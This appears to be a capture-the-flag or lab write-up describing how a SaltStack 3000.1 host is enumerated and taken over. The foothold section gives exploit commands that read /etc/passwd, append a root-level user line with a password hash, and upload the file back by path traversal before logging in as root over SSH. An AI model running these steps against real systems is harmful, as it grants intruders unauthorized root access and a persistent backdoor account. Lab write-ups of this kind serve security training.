Enumeration

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- 1: Use autorecon to enumerate its services, 22, 53, 80, 4505, 4506, 8000 are open
- 2: DNS service is not accessible. 4505 and 4506 are zmtp service, using ZeroMQ
- 2.0. After searching some info, it looks like ZeroMQ relate to SaltStack
- 3: Enumerate Http Port 80, I find a login portal, however, default credential (admin:default) does not work. And brute-force is also unhelpful
- 4: Enumerate Http Port 8000, it only outputs some json data. If I input a wrong URL, I can get its server which is **CheryPy**. However, it does not have any helpful vulnerability
- 5: Check request, there is an interesting header: X-Upstream: salt-api/3000-1. Combine with step 2, I can make sure that Port 8000 is related to SaltStack 3000.1
- 6: It has a public exploit: https://www.exploit-db.com/exploits/48421

Foothold

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1: Download the exploit, install required module and read its usage

2: python3 poc.py --master 192.168.185.62 --read /etc/passwd, now I can read target's passwd file

3: Copy its content and add a new line:

hack:\$1\$hack\$R78Vb02JSSxv5kQZvNiPU.:0:0:root:/root:/bin/bash

4: Upload modified passwd to target server: python3 saltstack.py --master

192.168.185.62 --upload-src /home/os/Desktop/passwd --upload-dest

../../../etc/passwd

5: ssh hack@192.168.185.62, with password 123123

6: Get root shell

Privilege Escalation

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1: Already root shell

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- 1: Target HTTP, ZMTP
- 2: Search for **Zmtp service/ZeroMQ** to know what it is **used with** and **used for**
- 3: Analyze unique request header to conclude it is SaltStack 3000.1
- 4: Install required modules and know its usage
- 5: Many ways to get a shell